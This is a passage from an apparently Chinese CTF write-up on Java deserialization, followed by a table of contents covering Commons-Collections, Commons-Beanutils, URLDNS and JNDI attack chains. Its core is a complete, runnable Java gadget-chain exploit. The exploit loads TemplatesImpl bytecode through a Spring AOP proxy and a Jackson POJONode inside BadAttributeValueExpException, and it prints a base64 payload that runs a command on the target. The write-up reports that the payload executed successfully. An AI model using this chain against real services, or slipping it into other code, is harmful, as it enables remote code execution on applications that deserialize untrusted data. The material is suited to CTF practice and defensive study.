反序列化,类被禁用找其他gadet推荐项目:LxxxSec/CTF-Java-Gadget: CTF-Java-Gadget专注于收集CTF中Java赛题的反序列化片段
从这个项目中找到下面的反序列化链
package com.ctf.byp4ss.controller;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class POJOJackson {
public static void main(String[] args) throws Exception{
byte[] code = getTemplates();
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);
// 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
setFieldValue(bave, "val", node);
byte[] bytes = serialize(bave);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
生成传入命令执行成功
-
Java反序列化攻击链:深入剖析与实战
- 1.java的反射机制
- 1.1. 反射的基本概念
- 1.2.反射实际用例
- 1.3cc链中 通过InvokerTransformer类进行反射调用
- 2.java的字节码class文件动态加载
- 2.1.Java文件编译命令
- 2.2. 加载class文件的三种方法
- 3.java反序列化链思路
- 4. URLDNS 链
- 5.commons-beanutils:1.9.x的cb1链
- 5.1主要是三个部分,从后往前推
- 5.2全部的调用链:
- 5.3gadet调用链部分比较重要的点
- 5.4JDK 版本限制
- 6.commons-collections:3.1反序列化链的进化史
- 6.1cc1链
- 6.2cc3链
- 6.3cc5链
- 6.4cc6链
- 6.5cc7链
- 6.6jdk版本限制
- 6.7总结
- 7.commons-collections4.0:反序列化链
- 7.1CC2 链
- 7.2 CC4 链
- 7.3 JDK 限制
- 7.4 总结
- 8.java反序列的payload一键生成利用工具
- 9.反序列化和jndi实战例题
- 9.1配置动态调试
- 9.2indexController路由存在漏洞点
- 9.3思路一:jndi远程注入
- 9.4思路二:java原生反序列化攻击
- 9.5绕过禁用的反序列化类